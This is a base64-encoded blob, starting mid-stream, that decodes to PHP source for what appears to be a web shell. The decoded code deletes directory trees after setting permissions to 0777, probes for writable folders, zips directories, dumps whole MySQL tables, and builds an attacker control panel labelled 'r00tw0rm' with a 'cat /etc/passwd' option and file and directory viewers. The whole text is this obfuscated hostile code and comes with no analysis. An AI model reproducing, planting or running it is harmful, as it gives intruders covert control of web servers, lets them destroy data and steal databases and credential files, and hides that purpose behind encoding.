oZXMoJHZhcik7DQoJCQkJfQ0KCQkJCWlmIChpc19hcnJheSgkdmFyKSkgIHsNCgkJCQkJJGFycmF5WyRrZXldID0gc3RyaXBzbGFzaGVzX2FycmF5KCR2YXIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJGFycmF5Ow0KCX0NCg0KDQoJZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJCSRteWRpcj1AZGly​KCRkZWxkaXIpOw0KCQl3aGlsZSgkZmlsZT0kbXlkaXItPnJlYWQoKSkJew0KCQkJaWYoKGlzX2RpcigiJGRlbGRpci8kZmlsZSIpKSBBTkQgKCRmaWxlIT0iLiIpIEFORCAoJGZpbGUhPSIuLiIpKSB7DQoJCQkJQGNobW9kKCIkZGVsZGlyLyRmaWxlIiwwNzc3KTsNCgkJCQlkZWx0cmVlKCIkZGVsZGlyLyRmaWxlIik7DQoJCQl9DQoJCQlpZiAo​aXNfZmlsZSgiJGRlbGRpci8kZmlsZSIpKSB7DQoJCQkJQGNobW9kKCIkZGVsZGlyLyRmaWxlIiwwNzc3KTsNCgkJCQlAdW5saW5rKCIkZGVsZGlyLyRmaWxlIik7DQoJCQl9DQoJCX0NCgkJJG15ZGlyLT5jbG9zZSgpOw0KCQlAY2htb2QoIiRkZWxkaXIiLDA3NzcpOw0KCQlyZXR1cm4gKEBybWRpcigkZGVsZGlyKSkgPyAxIDogMDsNCgl9DQoN​Cg0KCWZ1bmN0aW9uIGRpcl93cml0ZWFibGUoJGRpcikgew0KCQlpZiAoIWlzX2RpcigkZGlyKSkgew0KCQkJQG1rZGlyKCRkaXIsIDA3NzcpOw0KCQl9DQoJCWlmKGlzX2RpcigkZGlyKSkgew0KCQkJaWYgKCRmcCA9IEBmb3BlbigiJGRpci90ZXN0LnR4dCIsICd3JykpIHsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJQHVubGluaygiJGRpci90​ZXN0LnR4dCIpOw0KCQkJCSR3cml0ZWFibGUgPSAxOw0KCQkJfSBlbHNlIHsNCgkJCQkkd3JpdGVhYmxlID0gMDsNCgkJCX0NCgkJfQ0KCQlyZXR1cm4gJHdyaXRlYWJsZTsNCgl9DQoNCg0KCWZ1bmN0aW9uIGdldHJvd2JnKCkgew0KCQlnbG9iYWwgJGJnY291bnRlcjsNCgkJaWYgKCRiZ2NvdW50ZXIrKyUyPT0wKSB7DQoJCQlyZXR1cm4gImZp​cnN0YWx0IjsNCgkJfSBlbHNlIHsNCgkJCXJldHVybiAic2Vjb25kYWx0IjsNCgkJfQ0KCX0NCg0KDQoJZnVuY3Rpb24gZ2V0UGF0aCgkbWFpbnBhdGgsICRyZWxhdGl2ZXBhdGgpIHsNCgkJZ2xvYmFsICRkaXI7DQoJCSRtYWlucGF0aF9pbmZvICAgICAgICAgICA9IGV4cGxvZGUoJy8nLCAkbWFpbnBhdGgpOw0KCQkkcmVsYXRpdmVwYXRoX2lu​Zm8gICAgICAgPSBleHBsb2RlKCcvJywgJHJlbGF0aXZlcGF0aCk7DQoJCSRyZWxhdGl2ZXBhdGhfaW5mb19jb3VudCA9IGNvdW50KCRyZWxhdGl2ZXBhdGhfaW5mbyk7DQoJCWZvciAoJGk9MDsgJGk8JHJlbGF0aXZlcGF0aF9pbmZvX2NvdW50OyAkaSsrKSB7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLicgfHwgJHJlbGF0​aXZlcGF0aF9pbmZvWyRpXSA9PSAnJykgY29udGludWU7DQoJCQlpZiAoJHJlbGF0aXZlcGF0aF9pbmZvWyRpXSA9PSAnLi4nKSB7DQoJCQkJJG1haW5wYXRoX2luZm9fY291bnQgPSBjb3VudCgkbWFpbnBhdGhfaW5mbyk7DQoJCQkJdW5zZXQoJG1haW5wYXRoX2luZm9bJG1haW5wYXRoX2luZm9fY291bnQtMV0pOw0KCQkJCWNvbnRpbnVlOw0K​CQkJfQ0KCQkJJG1haW5wYXRoX2luZm9bY291bnQoJG1haW5wYXRoX2luZm8pXSA9ICRyZWxhdGl2ZXBhdGhfaW5mb1skaV07DQoJCX0NCgkJcmV0dXJuIGltcGxvZGUoJy8nLCAkbWFpbnBhdGhfaW5mbyk7DQoJfQ0KDQoNCglmdW5jdGlvbiBnZXRwaHBjZmcoJHZhcm5hbWUpIHsNCgkJc3dpdGNoKCRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFy​bmFtZSkpIHsNCgkJCWNhc2UgMDoNCgkJCXJldHVybiAiTm8iOw0KCQkJYnJlYWs7DQoJCQljYXNlIDE6DQoJCQlyZXR1cm4gIlllcyI7DQoJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJCWJyZWFrOw0KCQl9DQoJfQ0KDQoNCglmdW5jdGlvbiBnZXRmdW4oJGZ1bk5hbWUpIHsNCgkJcmV0dXJuIChmYWxzZSAh​PT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAiWWVzIiA6ICJObyI7DQoJfQ0KDQoNCgljbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7DQogICAgCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7DQoJCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJCWlmIChpc19h​cnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsNCgkJICAgICAgICBlbHNlew0KCQkJICAgICAgICAkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly/YrtikwrzigI/YodiwwrHZig0KCQkJCSAgICBmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJICAgICAgICAgICAgfQ0KCQkgICAgICAgIGlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOw0KCQkJCWVsc2U​gY2hkaXIoJGN1cmRpcik7DQoJCQkJaWYgKGNvdW50KCRmaWxlbGlzdCk+MCl7DQoJCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7DQoJCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCQkkZmQgPSBmb3BlbiAoJGZpbGVuYW1lLCAiciIpOw0KCQkJCQkJCSRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXp​lICgkZmlsZW5hbWUpKTsNCgkJCQkJCQlmY2xvc2UgKCRmZCk7DQoJCQkJCQkgICAgaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCQkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZ​pbGUoKTsNCgkJCQkJY2hkaXIoJGN1cmRpcik7DQoJCQkJfQ0KCQkJCXJldHVybiAxOw0KCQkJfQ0KCQkJZWxzZSByZXR1cm4gMDsNCgkJfQ0KDQoNCgkJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7DQoJCQlzdGF0aWMgJGE7DQoJCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJCSAgIAk​Jd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQoJCQkJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCiAgICAgICAgICAgIAkJCQkkZj0kZGlyIC4nLycuICRmaWxlOw0KICAgICAgICAgICAgCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7DQoJCQkJCQkJJGFbXT0kZjsNCgk​gICAgICAgIAkJCX0NCgkJCQkJfQ0KICAgICAJCQkJY2xvc2VkaXIoJGRoKTsNCiAgICAJCQl9DQoJCQl9DQoJCQlyZXR1cm4gJGE7DQoJCX0NCg0KCQl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJICAgIHZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsNCgkJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDB​ceDAwXHgwMFx4MDAiOw0KCSAgICB2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCgkJZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsNCgkgICAgICAgICR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOw0KCQkgICAgaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE​5ODApIHsNCgkJCQkkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAgICAJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7DQoJICAgICAgICAJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJICAgIAkkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KCQkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7DQogICAgICAgIAk​JJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkgICAgICAgIH0gLy8gZW5kIGlmDQoJCSAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfA0KCQkJICAgICAgICAoJHRpbWVhcnJheVsnaG91cnMnXSA8PCA​xMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgkgICAgfQ0KDQoJCWZ1bmN0aW9uIGFkZEZpbGUoJGRhdGEsICRuYW1lLCAkdGltZSA9IDApIHsNCgkgICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOw0KDQoJCSAgICAkZHRpbWUgICA​gPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KCSAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQ0KCQkJICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQ0KCQkJCSAgICAgIC4​gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkgICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoJCSAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCgkJCSRmciAgIC49ICJceDE0XHgwMCI7DQoJICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KCQkgICAgJGZyICAgLj0gIlx4MDh​ceDAwIjsNCgkJCSRmciAgIC49ICRoZXhkdGltZTsNCg0KCSAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KCQkgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQoJCQkkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KCSAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCgkJICAgICR6ZGF0YSAgID0gc3Vic3R​yKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KCQkJJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOw0KCSAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkJJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmF​tZSkpOw0KCSAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOw0KCQkgICAgJGZyICAgICAgLj0gJG5hbWU7DQoNCgkJCSRmciAuPSAkemRhdGE7DQoNCgkgICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCSA​gICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkgICAgJG5ld19vZmZzZXQgICAgICAgID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJCSRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCgkgICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQo​JCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkgICAgICAgICRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkgICAgJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7DQoJICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSAgICAkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgk​JCSRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOw0KCSAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCSAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSAgICAkY2RyZWMgLj0gcGFjaygnVic​sIDMyICk7DQoJCQkkY2RyZWMgLj0gcGFjaygnVicsICR0aGlzIC0+IG9sZF9vZmZzZXQgKTsNCgkgICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJICAgICRjZHJlYyAuPSAkbmFtZTsNCg0KCQkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCgkgICAgfQ0KDQoJCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCQk​kZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KCSAgICAgICAgJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7DQoJCSAgICByZXR1cm4NCgkJCSAgICAkZGF0YSAuDQoJCQkJJGN0cmxkaXIgLg0KCSAgICAgICAgICAgICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuDQoJCSAgICAgICAgcGFjayg​ndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4NCgkJCSAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KCQkJCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuDQoJICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4NCgkJICAgICAgICAiXHgwMFx4MDAiOw0KCSAgICB9DQoJfQ0KDQo​JZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsNCgkJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOw0KCQkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkJJGZpcnN0ZmllbGQ9MTsNCg0KCQkkZmllbGRzID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZ​ST00gJHRhYmxlIik7DQoJCXdoaWxlICgkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSgkZmllbGRzKSkgew0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaXJzdGZpZWxkPTA7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICAkZmllbGRbRmllbGRdICRmaWVsZFt​UeXBlXSI7DQoJCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJCX0NCgkJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgew0KCQkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCQl9DQoJCQlpZiAoJGZpZWxkWydFeHRyYSd​dICE9ICIiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQkJfQ0KCQl9DQoJCW15c3FsX2ZyZWVfcmVzdWx0KCRmaWVsZHMpOw0KDQoJCSRrZXlzID0gbXlzcWxfcXVlcnkoIlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOw0KCQl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkJJGtuYW1​lPSRrZXlbJ0tleV9uYW1lJ107DQoJCQlpZiAoJGtuYW1lICE9ICJQUklNQVJZIiBhbmQgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCQkka25hbWU9IlVOSVFVRXwka25hbWUiOw0KCQkJfQ0KCQkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJCSRpbmRleFska25hbWVdID0gYXJyYXkoKTsNCgkJCX0NCgkJCSRpbmR​leFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCQl9DQoJCW15c3FsX2ZyZWVfcmVzdWx0KCRrZXlzKTsNCg0KCQl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJCSRjb2xuYW1lcz1pbXBsb2RlKCRjb2x1bW5zLCIsIik7DQoNCgkJCWlmICg​ka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KCQkJCX0NCgkJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGt​uYW1lICgkY29sbmFtZXMpIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCgkJaWYgKCRmcCkgew0KCQkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJfQ0KDQoJCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7DQoJCSR​udW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KDQoJCQkkZmllbGRjb3VudGVyPS0xOw0KCQkJJGZpcnN0ZmllbGQ9MTsNCgkJCXdoaWxlICgrKyRmaWVsZGNvdW5​0ZXI8JG51bWZpZWxkcykgew0KCQkJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmlyc3RmaWVsZD0wOw0KCQkJCX0NCg0KCQkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCgkJCQkJJHRhYmxlZHVtcCAuPSAiTlVMTCI7DQoJCQkJfSBlbHNlIHsNCgk​JCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoJCQkJfQ0KCQkJfQ0KDQoJCQkkdGFibGVkdW1wIC49ICIpO1xuIjsNCg0KCQkJaWYgKCRmcCkgew0KCQkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJHRhYmxlZHVtcDsNCgkJCX0​NCgkJfQ0KCQlteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7DQoJfQ0KDQoJY2xhc3MgRk9STVMgew0KCQlmdW5jdGlvbiB0YWJsZWhlYWRlcigpIHsNCgkJCWVjaG8gIjx0YWJsZSB3aWR0aD1cIjEwMDBcIiBib3JkZXI9XCI4XCIgY2VsbHBhZGRpbmc9XCIwXCIgY2VsbHNwYWNpbmc9XCIxMFwiIGJnY29sb3I9XCJibGFja1wiPlxuIjsNCgkJfQ0​KDQoJCWZ1bmN0aW9uIGhlYWRlcmZvcm0oJGFyZz1hcnJheSgpKSB7DQoJCQlnbG9iYWwgJGRpcjsNCgkJCWlmICgkYXJnW2VuY3R5cGVdKXsNCgkJCQkkZW5jdHlwZT0iZW5jdHlwZT1cIiRhcmdbZW5jdHlwZV1cIiI7DQoJCQl9IGVsc2Ugew0KCQkJCSRlbmN0eXBlPSIiOw0KCQkJfQ0KCQkJaWYgKCFpc3NldCgkYXJnW21ldGhvZF0pKSB7DQo​JCQkJJGFyZ1ttZXRob2RdID0gIlBPU1QiOw0KCQkJfQ0KCQkJaWYgKCFpc3NldCgkYXJnW2FjdGlvbl0pKSB7DQoJCQkJJGFyZ1thY3Rpb25dID0gJyc7DQoJCQl9DQoJCQllY2hvICIgIDxmb3JtIGFjdGlvbj1cIiIuJGFyZ1thY3Rpb25dLiJcIiBtZXRob2Q9XCIiLiRhcmdbbWV0aG9kXS4iXCIgJGVuY3R5cGU+XG4iOw0KCQkJZWNobyAiICA​8dHI+XG4iOw0KCQkJZWNobyAiICAgIDx0ZD4iLiRhcmdbY29udGVudF0uIjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8L3RyPlxuIjsNCgkJCWVjaG8gIiAgPC9mb3JtPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIHRkaGVhZGVyKCR0aXRsZSkgew0KCQkJZ2xvYmFsICRkaXI7DQoJCQllY2hvICIgIDx0ciBjbGFzcz1cImZpcnN0YWx0XCI+XG4iOw0​KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwiPjxiPiIuJHRpdGxlLiIgWzxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiJcIj7Ct3IwMHR3MHJtPC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gdGRib2R5KCRjb250ZW50LCRhbGlnbj0nY2VudGVyJywkYmdjb2xvcj0nMjIyMjIyJywkaGVpZ2h0PScnLCRleHRyYT0nJywkY29sc3Bhbj0nJykgew0KCQkJaWYgKCRiZ2Nv​bG9yPT0nMicpIHsNCgkJCQkkY3NzPSJzZWNvbmRhbHQiOw0KCQkJfSBlbHNlaWYgKCRiZ2NvbG9yPT0nMScpIHsNCgkJCQkkY3NzPSJmaXJzdGFsdCI7DQoJCQl9IGVsc2Ugew0KCQkJCSRjc3M9JGJnY29sb3I7DQoJCQl9DQoJCQkkaGVpZ2h0ID0gZW1wdHkoJGhlaWdodCkgPyAiIiA6ICIgaGVpZ2h0PSIuJGhlaWdodDsNCgkJCSRjb2xzcGFu​ID0gZW1wdHkoJGNvbHNwYW4pID8gIiIgOiAiIGNvbHNwYW49Ii4kY29sc3BhbjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwiIi4kY3NzLiJcIj5cbiI7DQoJCQllY2hvICIJPHRkIGFsaWduPVwiIi4kYWxpZ24uIlwiIi4kaGVpZ2h0LiIgIi4kY29sc3Bhbi4iICIuJGV4dHJhLiI+Ii4kY29udGVudC4iPC90ZD5cbiI7DQoJCQllY2hvICIgIDwv​dHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gdGFibGVmb290ZXIoKSB7DQoJCQllY2hvICI8L3RhYmxlPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9uIGZvcm1oZWFkZXIoJGFjdGlvbj0nJywkdGl0bGUsJHRhcmdldD0nJykgew0KCQkJZ2xvYmFsICRkaXI7DQoJCQkkdGFyZ2V0ID0gZW1wdHkoJHRhcmdldCkgPyAiIiA6ICIgdGFyZ2V0PVwiIi4k​dGFyZ2V0LiJcIiI7DQoJCQllY2hvICIgPGZvcm0gYWN0aW9uPVwiJGFjdGlvblwiIG1ldGhvZD1cIlBPU1RcIiIuJHRhcmdldC4iPlxuIjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwiZmlyc3RhbHRcIj5cbiI7DQoJCQllY2hvICIJPHRkIGFsaWduPVwiY2VudGVyXCI+PGI+Ii4kdGl0bGUuIiBbPGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUo​JGRpcikuIlwiPsK3wrXCu9i3PC9hPl08L2I+PC90ZD5cbiI7DQoJCQllY2hvICIgIDwvdHI+XG4iOw0KCQl9DQoNCgkJZnVuY3Rpb24gbWFrZWhpZGRlbigkbmFtZSwkdmFsdWU9Jycpew0KCQkJZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiPlxuIjsNCgkJfQ0KDQoJCWZ1bmN0aW9u​IG1ha2VpbnB1dCgkbmFtZSwkdmFsdWU9JycsJGV4dHJhPScnLCR0eXBlPSd0ZXh0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8aW5wdXQgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiB0eXBlPVwiJHR5​cGVcIiAiLiRjc3MuIiBzaXplPVwiJHNpemVcIiAkZXh0cmE+XG4iOw0KCQkJcmV0dXJuICRpbnB1dDsNCgkJfQ0KICAgICAgICBmdW5jdGlvbiBtYWtlaWQoJG5hbWUsJHZhbHVlPScnLCRleHRyYT0nJywkdHlwZT0nc2VsZWN0Jywkc2l6ZT0nMzAnLCRjc3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNz​PVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8c2VsZWN0IG5hbWU9cGx1Z2luPjxvcHRpb24+Y2F0IC9ldGMvcGFzc3dkPC9vcHRpb24+PC9zZWxlY3Q+IjsNCgkJCXJldHVybiAkaW5wdXQ7DQoJCX0NCgkJIGZ1bmN0aW9uIG1ha2VpbXAoJG5hbWUsJHZhbHVlPScnLCRleHRyYT0nJywkdHlwZT0nc2VsZWN0Jywkc2l6ZT0nMzAnLCRj​c3M9J2lucHV0Jyl7DQoJCQkkY3NzID0gKCRjc3MgPT0gJ2lucHV0JykgPyAiIGNsYXNzPVwiaW5wdXRcIiIgOiAiIjsNCgkJCSRpbnB1dCA9ICI8c2VsZWN0IG5hbWU9c3dpdGNoPjxvcHRpb24gdmFsdWU9ZmlsZT5WaWV3IGZpbGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj5WaWV3IGRpcjwvb3B0aW9uPjwvc2VsZWN0PiI7DQoJCQlyZXR1​cm4gJGlucHV0Ow0KCQl9DQoJCWZ1bmN0aW9uIG1ha2V0ZXh0YXJlYSgkbmFtZSwkY29udGVudD0nJywkY29scz0nMTAwJywkcm93cz0nMjAnLCRleHRyYT0nJyl7DQoJCQkkdGV4dGFyZWEgPSAiPHRleHRhcmVhIG5hbWU9XCIiLiRuYW1lLiJcIiBjb2xzPVwiIi4kY29scy4iXCIgcm93cz1cIiIuJHJvd3MuIlwiICIuJGV4dHJhLiI+Ii4kY29u​dGVudC4iPC90ZXh0YXJlYT5cbiI7DQoJCQlyZXR1cm4gJHRleHRhcmVhOw0KCQl9DQoNCgkJZnVuY3Rpb24gZm9ybWZvb3Rlcigkb3Zlcj0nJywkaGVpZ2h0PScnKXsNCgkJCSRoZWlnaHQgPSBlbXB0eSgkaGVpZ2h0KSA/ICIiIDogIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIjsNCgkJCWVjaG8gIiAgPHRyIGNsYXNzPVwic2Vjb25kYWx0XCI+XG4iOw0KCQkJZWNobyAiCTx0ZCBhbGlnbj1cImNlbnRlclwi